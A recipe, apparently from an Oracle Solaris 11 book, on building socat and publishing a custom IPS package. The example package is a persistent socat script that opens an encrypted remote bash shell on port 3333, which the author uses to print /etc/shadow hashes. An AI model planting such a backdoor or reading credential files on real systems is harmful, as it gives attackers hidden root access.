Creating your own package and publishing it
So far, we've been working using packages provided from Oracle or another place, but it would be nice if we could create and publish our own package. This recipe requires that we have basic experience with compiling and installing free software.
Getting ready
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. For example, we install a couple of packages such as system/header
and gcc-45
and socat
.
How to do it…
The first thing we need to do is install some required Oracle Solaris 11 packages, which will be necessary for the next steps:
root@solaris11:~# pkg install system/header
The gcc-45
package is probably already installed on the system, and it will optionally demand the gcc-3
package; if this is the case, then we have to verify that the gcc45
software is already installed and check its dependencies by running the following two commands:
root@solaris11:~# pkg list gcc-45 NAME (PUBLISHER) VERSION IFO developer/gcc-45 4.5.2-0.175.1.0.0.24.0 i-- root@solaris11:~# pkg contents -r -o action.raw -t depend gcc-45 ACTION.RAW depend fmri=pkg:/system/linker@0.5.11-0.175.1.0.0.23.0 type=require depend fmri=pkg:/library/mpfr@2.4.2-0.175.1.0.0.23.0 type=require depend fmri=pkg:/system/header type=require depend fmri=pkg:/developer/gnu-binutils@2.21.1-0.175.1.0.0.23.0 type=require variant.arch=i386 depend fmri=pkg:/library/gmp@4.3.2-0.175.1.0.0.23.0 type=require depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.23.0 type=require depend fmri=pkg:/system/library/gcc-45-runtime@4.5.2-0.175.1.0.0.24.0 type=require depend fmri=pkg:/shell/ksh93@93.21.0.20110208-0.175.1.0.0.23.0 type=require depend fmri=pkg:/library/mpc@0.9-0.175.1.0.0.23.0 type=require depend fmri=developer/gcc-3@3.4.3-0.175 type=optional
According to the last line in the previous command output, the gcc-45
package depends, optionally (type=optional
), on gcc-3
, so we can install gcc-3
with the following command:
root@solaris11:~# pkg install gcc-3
Packages to install: 1
Create boot environment: No
Create backup boot environment: No
Services to change: 1
DOWNLOAD PKGS FILES XFER (MB) SPEED
Completed 1/1 317/317 29.6/29.6 368k/s
PHASE ITEMS
Installing new actions 393/393
Updating package state database Done
Updating image state Done
Creating fast lookup database Done
We check the dependencies of the gcc-3
package by executing the following command:
root@solaris11:~# pkg contents -r -o action.raw -t depend gcc-3
ACTION.RAW
depend fmri=pkg:/system/library/gcc-3-runtime@3.4.3-0.175.1.0.0.24.0 type=require
depend fmri=pkg:/developer/gnu-binutils@2.21.1-0.175.1.0.0.23.0 type=require variant.arch=i386
depend fmri=pkg:/system/header type=require
depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/shell/ksh93@93.21.0.20110208-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/linker@0.5.11-0.175.1.0.0.23.0 type=require
We list the gcc-3
status and its details by executing the following command:
root@solaris11:~# pkg list gcc-3 NAME (PUBLISHER) VERSION IFO developer/gcc-3 3.4.3-0.175.1.0.0.24.0 i-- root@solaris11:~# gcc –v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/gcc/4.5/lib/gcc/i386-pc-solaris2.11/4.5.2/lto-wrapper Target: i386-pc-solaris2.11 Configured with: /builds/hudson/workspace/nightly-update/build/i386/components/gcc45/gcc-4.5.2/configure CC=/ws/on11update-tools/SUNWspro/sunstudio12.1/bin/cc CXX=/ws/on11update-tools/SUNWspro/sunstudio12.1/bin/CC --prefix=/usr/gcc/4.5 --mandir=/usr/gcc/4.5/share/man --bindir=/usr/gcc/4.5/bin --libdir=/usr/gcc/4.5/lib --sbindir=/usr/gcc/4.5/sbin --infodir=/usr/gcc/4.5/share/info --libexecdir=/usr/gcc/4.5/lib --enable-languages=c,c++,fortran,objc --enable-shared --with-gmp-include=/usr/include/gmp --with-mpfr-include=/usr/include/mpfr --without-gnu-ld --with-ld=/usr/bin/ld --with-gnu-as --with-as=/usr/gnu/bin/as CFLAGS='-g -O2 ' Thread model: posix gcc version 4.5.2 (GCC)
To make this example more attractive, we can download the socat tarball application from http://www.dest-unreach.org/socat/. Socat is an amazing tool that is similar to the Netcat tool, but socat adds many additional features, such as the possibility to encrypt a connection to evade IPS systems. After downloading the socat
tool, we're going to create a very simple, persistent backdoor to package it in the Oracle Solaris 11 format, to publish it into the secondary repository (http://localhost:8888
) and install it on our own system. After we have completed all these steps, a practical example will be displayed using this backdoor.
At the time of writing this procedure, I've downloaded socat Version 2.0.0-b6 (socat-2.0.0-b6.tar.gz
), copied it to /tmp
, and opened the tarball:
root@solaris11:~/Downloads# cp socat-2.0.0-b6.tar.gz /tmp root@solaris11:/tmp# tar zxvf socat-2.0.0-b6.tar.gz
Let's create the socat
binary. The usual step is to run the configure
script to check all socat requirements on the system, so let's execute it:
root@solaris11:/tmp# cd socat-2.0.0-b6 root@solaris11:/tmp/socat-2.0.0-b6# ./configure
Before compiling the socat application, we have to edit some source files and change some lines because the original socat files don't compile on Oracle Solaris 11. In the same socat directory, we need to edit the xioopts.c
file, go to lines 3998 and 4001, and change them according to the following illustration:
root@solaris11:/tmp/socat-2.0.0-b6# vi xioopts.c
The following lines are the original content of the file:
if (Setsockopt(xfd->fd1, opt->desc->major, opt->desc->minor, &ip4_mreqn.mreq, sizeof(ip4_mreqn.mreq)) < 0) { Error7("setsockopt(%d, %d, %d, {0x%08x,0x%08x}, "F_Zu"): %s", xfd->fd1, opt->desc->major, opt->desc->minor, ip4_mreqn.mreq.imr_multiaddr, ip4_mreqn.mreq.imr_interface, sizeof(ip4_mreqn.mreq), strerror(errno)); opt->desc = ODESC_ERROR; continue; }
After our change, the content looks like the following:
if (Setsockopt(xfd->rfd, opt->desc->major, opt->desc->minor, &ip4_mreqn.mreq, sizeof(ip4_mreqn.mreq)) < 0) { Error7("setsockopt(%d, %d, %d, {0x%08x,0x%08x}, "F_Zu"): %s", xfd->rfd, opt->desc->major, opt->desc->minor, ip4_mreqn.mreq.imr_multiaddr, ip4_mreqn.mreq.imr_interface, sizeof(ip4_mreqn.mreq), strerror(errno)); opt->desc = ODESC_ERROR; continue; }
Now, it's convenient to make it the following:
root@solaris11:/tmp/socat-2.0.0-b6# make root@solaris11:/tmp/socat-2.0.0-b6# make install mkdir -p /usr/local/bin /usr/bin/ginstall -c -m 755 socat /usr/local/bin /usr/bin/ginstall -c -m 755 procan /usr/local/bin /usr/bin/ginstall -c -m 755 filan /usr/local/bin mkdir -p /usr/local/share/man/man1 /usr/bin/ginstall -c -m 644 ./doc/socat.1 /usr/local/share/man/man1/
In the next step, we modify the /root/.bashrc
profile in the following way:
root@solaris11:~# cd root@solaris11:~# more .bashrc # # Define default prompt to <username>@<hostname>:<path><"($|#) "> # and print '#' for user "root" and '$' for normal users. # typeset +x PS1="\u@\h:\w\\$ " PATH=$PATH:/usr/local/bin MANPATH=$MANPATH:/usr/local/share/man export PATH MANPATH
All the changes we have made so far enable us to execute the socat
tool from anywhere and access its manual pages too:
root@solaris11:~# . ./.bashrc root@solaris11:~# socat –V socat by Gerhard Rieger - see www.dest-unreach.org socat version 2.0.0-b6 on Oct 26 2013 17:33:19 running on SunOS version 11.1, release 5.11, machine i86pc features: #define WITH_STDIO 1 #define WITH_FDNUM 1 #define WITH_FILE 1 #define WITH_CREAT 1 #define WITH_GOPEN 1 #define WITH_TERMIOS 1 #define WITH_PIPE 1 #define WITH_UNIX 1 #undef WITH_ABSTRACT_UNIXSOCKET #define WITH_IP4 1 #define WITH_IP6 1 #define WITH_RAWIP 1 #define WITH_GENERICSOCKET 1 #define WITH_INTERFACE 1 #define WITH_TCP 1 #define WITH_UDP 1 #define WITH_SCTP 1 #define WITH_LISTEN 1 #define WITH_SOCKS4 1 #define WITH_SOCKS4A 1 #define WITH_PROXY 1 #define WITH_SYSTEM 1 #define WITH_EXEC 1 #define WITH_READLINE 1 #undef WITH_TUN #define WITH_PTY 1 #define WITH_OPENSSL 1 #undef WITH_FIPS #define WITH_LIBWRAP 1 #define WITH_SYCLS 1 #define WITH_FILAN 1 #define WITH_RETRY 1 #define WITH_MSGLEVEL 0 /*debug*/ root@solaris11:~# man socat User Commands socat(1) NAME socat - Multipurpose relay (SOcket CAT) SYNOPSIS socat [options] <address-chain> <address-chain> socat -V socat -h[h[h]] | -?[?[?]] filan procan
Note
Socat is a command-line-based utility that establishes two bidirectional byte streams and transfers data between them.
Since the socat tool encrypts connections, we need to create a digital certificate:
root@solaris11:/tmp# mkdir backdoor root@solaris11:/tmp# cd backdoor root@solaris11:/tmp/backdoor# uname -a SunOS solaris11 5.11 11.1 i86pc i386 i86pc root@solaris11:/tmp/backdoor# openssl genrsa -out solaris11.key 2048 Generating RSA private key, 2048 bit long modulus ...............................................................................................................................+++ ........+++ e is 65537 (0x10001) root@solaris11:/tmp/backdoor# ls solaris11.key root@solaris11:/tmp/backdoor# openssl req -new -key solaris11.key -x509 -days 9999 -out solaris11.crt You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) []: BR State or Province Name (full name) []: Sao Paulo Locality Name (eg, city) []: Sao Paulo Organization Name (eg, company) []: http://alexandreborges.org Organizational Unit Name (eg, section) []: Education Common Name (e.g. server FQDN or YOUR name) []: solaris11 Email Address []: alexandreborges@alexandreborges.org root@solaris11:/tmp/backdoor# ls solaris11.crt solaris11.key root@solaris11:/tmp/backdoor# cat solaris11.key solaris11.crt > solaris11.pem root@solaris11:/tmp/backdoor# ls solaris11.crt solaris11.key solaris11.pem
At the server side, we've finished the procedure to configure socat. At the client side, it's necessary to create a key too:
root@solaris11:/tmp/backdoor# openssl genrsa -out client.key 2048
For the purpose of explanation and demonstration, I'm going to use the server as a client, but when handling a real-life situation, we need to execute the same command (openssl req -new -key solaris11.key -x509 -days 9999 -out solaris11.crt
) on our client.
On the same machine (client), we create a script that starts the socat tool in a persistent listening mode on port 3333
:
root@solaris11:/tmp/backdoor# vi backdoor_exec.sh
#!/bin/bash
socat OPENSSL-LISTEN:3333,reuseaddr,fork,cert=solaris11.pem,cafile=solaris11.crt EXEC:/bin/bash
Though the preceding script is extremely easy, we need to pay attention to the following deployed options:
- LISTEN:3333: This is the port where socat is listening
- reuseaddr: This allows other sockets to bind to an address even if the local port (
3333
) is already in use by socat - fork: After establishing a connection, this handles its channel in a child process and keeps the parent process attempting to produce more connections, either by listening or by connecting in a loop
- cert: This is the digital certificate that we've made
- cafile: This specifies the file with the trusted (root) authority certificates
- EXEC: This will be executed
Execute the following command to make it executable:
root@solaris11:/tmp/backdoor# chmod u+x backdoor_exec.sh
Now that the socat configuration is complete, the next task is executed in the Oracle Solaris domain. In the first step, we create a manifest file, which is used to create an IPS package, because this manifest file contains all the required dependencies of our backdoor IPS package. The backdoor manifest file will be created in parts:
root@solaris11:/tmp# pkgsend generate backdoor > /tmp/backdoor_manifest.level1 root@solaris11:/tmp# more /tmp/backdoor_manifest.level1 file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh
The content from the manifest file is not so complex, and there are keywords (actions) that can be interesting to learn. Moreover, the syntax is straightforward:
<action_name> <attribute1=value1> <attribute2=value2> ...
Some of these actions are as follows:
- file: This specifies a file installed by the package
- set: This specifies information such as name and description
- dir: This is the directory that is installed by the package
- hardlink: This points to a hardlink
- link: This determines a symbolic link
- license: This determines what kind of license is bound to the package
- depend: This lists the dependencies that this package has on other software or tools
- legacy: This sets any required information that must be installed in the legacy package database to keep the compatibility
Certainly, there are other complex manifests, but nothing that is complex enough to worry us. The following example adopts the ready manifest of the Netcat package:
root@solaris11:/tmp# pkg contents -m netcat > /tmp/netcat.p5m root@solaris11:/tmp# more /tmp/netcat.p5m set name=pkg.fmri value=pkg://solaris/network/netcat@0.5.11,5.11-0.175.1.0.0.24.2:20120919T184427Z set name=pkg.summary value="Netcat command" set name=pkg.description value="The nc(1) or netcat(1) utility can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports and perform port scanning." set name=info.classification value=org.opensolaris.category.2008:Applications/Internet set name=org.opensolaris.consolidation value=osnet set name=variant.opensolaris.zone value=global value=nonglobal set name=variant.debug.osnet value=true value=false set name=variant.arch value=sparc value=i386 depend fmri=consolidation/osnet/osnet-incorporation type=require depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.24.2 type=require dir group=sys mode=0755 owner=root path=usr dir group=bin mode=0755 owner=root path=usr/bin dir facet.doc.man=true facet.locale.ja_JP=true group=bin mode=0755 owner=root path=usr/share/man/ja_JP.UTF-8/man1 dir facet.doc.man=true group=bin mode=0755 owner=root path=usr/share/man/man1 …...
In the next step, we create a MOG file (which is a kind of metadata file):
root@solaris11:/tmp# cat << EOF > /tmp/backdoor.mog > set name=pkg.fmri value=backdoor@1.0,5.11.0 > set name=pkg.description value=”Backdoor using socat” > set name=pkg.summary value=”This a backdoor package used for demonstrating package publishing” > EOF root@solaris11:/tmp# pkgmogrify /tmp/backdoor_manifest.level1 /tmp/backdoor.mog > /tmp/backdoor_manifest.level2 root@solaris11:/tmp# more /tmp/backdoor_manifest.level2 file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh set name=pkg.fmri value=backdoor@1.0,5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing"
As you will have realized, all the metadata information included in the backdoor.mog
file was added at the end of the manifest.level2
file. In the third step, we include dependencies into the manifest file and then execute the following commands:
root@solaris11:/tmp# pkgdepend generate -md backdoor /tmp/backdoor_manifest.level2 > /tmp/backdoor_manifest.level3 root@solaris11:/tmp# more /tmp/backdoor_manifest.level3 file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh set name=pkg.fmri value=backdoor@1.0,5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing" depend fmri=__TBD pkg.debug.depend.file=bash pkg.debug.depend.path=usr/bin pkg.debug.depend.reason=backdoor_exec.sh pkg.debug.depend.type=script type=require
Once the dependencies list is generated, we need to resolve the dependencies against packages that are installed on the system:
root@solaris11:/tmp# pkgdepend resolve -m /tmp/backdoor_manifest.level3 root@solaris11:/tmp# more /tmp/backdoor_manifest.level3.res file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh set name=pkg.fmri value=backdoor@1.0,5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing" depend fmri=pkg:/shell/bash@4.1.9-0.175.1.0.0.24.0 type=require
Before proceeding, we need to change the previous file (backdoor_manifest.level3.res
under /tmp
directory) to install the backdoor package in the /backdoor
directory:
root@solaris11:/backup/backdoor2# more backdoor_manifest.level3.res dir group=bin mode=0755 owner=root path=/backdoor file solaris11.key group=bin mode=0644 owner=root path=/backdoor/solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=/backdoor/solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=/backdoor/solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=/backdoor/backdoor_exec.sh set name=pkg.fmri value=backdoor@1.0,5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing" depend fmri=pkg:/shell/bash@4.1.9-0.175.1.0.0.24.0 type=require
We are almost there. Our final goal is to assemble the package and add it to the repository:
root@solaris11:/tmp# pkgsend -s http://localhost:8888 publish -d /tmp/backdoor/ /tmp/backdoor_manifest.level3.res PUBLISHED pkg://training/backdoor@1.0,5.11.0:20131027T004326Z root@solaris11:/tmp# svcadm refresh application/pkg/server:training root@solaris11:/tmp# svcadm restart application/pkg/server:training root@solaris11:/tmp# svcs -a | grep application/pkg/server:training online 22:44:16 svc:/application/pkg/server:training root@solaris11:/tmp# pkg search -r backdoor INDEX ACTION VALUE PACKAGE pkg.description set Backdoor using socat pkg:/backdoor@1.0 basename file backdoor pkg:/backdoor@1.0 pkg.fmri set training/backdoor pkg:/backdoor@1.0 pkg.summary set This a backdoor package used for demonstrating package publishing pkg:/backdoor@1.0
Wow! We've done it! A good way to test this is to install our backdoor package:
root@solaris11:/backup/backdoor2# pkg install backdoor Packages to install: 1 Create boot environment: No Create backup boot environment: No DOWNLOAD PKGS FILES XFER (MB) SPEED Completed 1/1 4/4 0.0/0.0 373k/s PHASE ITEMS Installing new actions 9/9 Updating package state database Done Updating image state Done Creating fast lookup database Done root@solaris11:/backup/backdoor2# pkg contents backdoor PATH backdoor backdoor/backdoor_exec.sh backdoor/solaris11.crt backdoor/solaris11.key backdoor/solaris11.pem
Finally, we test the functionality of the backdoor. In the first terminal, we type the following:
root@solaris11:/backdoor# ls backdoor_exec.sh solaris11.crt solaris11.key solaris11.pem root@solaris11:/backdoor# ./backdoor_exec.sh In the second terminal: root@solaris11:/backdoor# socat STDIO OPENSSL-CONNECT:localhost:3333,cert=solaris11.pem,cafile=solaris11.crt ls backdoor_exec.sh solaris11.crt solaris11.key solaris11.pem cat /etc/shadow root:$5$xduDW1lC$I23.j8uPlFFYvxuH5Rc/JHEcAnZz5nK/h55zBKLyBwD:15984::::::3568 daemon:NP:6445:::::: bin:NP:6445:::::: sys:NP:6445:::::: adm:NP:6445:::::: lp:NP:6445:::::: uucp:NP:6445:::::: nuucp:NP:6445:::::: dladm:*LK*::::::: netadm:*LK*::::::: netcfg:*LK*::::::: smmsp:NP:6445:::::: gdm:*LK*::::::: zfssnap:NP::::::: upnp:NP::::::: xvm:*LK*:6445:::::: mysql:NP::::::: openldap:*LK*::::::: webservd:*LK*::::::: postgres:NP::::::: svctag:*LK*:6445:::::: unknown:*LK*::::::: nobody:*LK*:6445:::::: noaccess:*LK*:6445:::::: nobody4:*LK*:6445:::::: aiuser:*LK*:15602:::::: pkg5srv:*LK*:15602:::::: ale:$5$58VTKuRg$CnJXk791Ni.ZGmtoHO3ueGVjiSWuXxxQXbut2X3Njy7:::::::
The second step should be performed from another Oracle Solaris 11 machine (our client). However, for test purposes, I've used the same host.
An overview of the recipe
There's no question that this recipe is very interesting and complex because we created a backdoor using an encrypted connection and used different programs to accomplish our tasks. Furthermore, we learned that the package has a manifest that describes the attributes and dependencies of the associated package. It wouldn't be an exaggeration to say that the manifest is the soul of the package.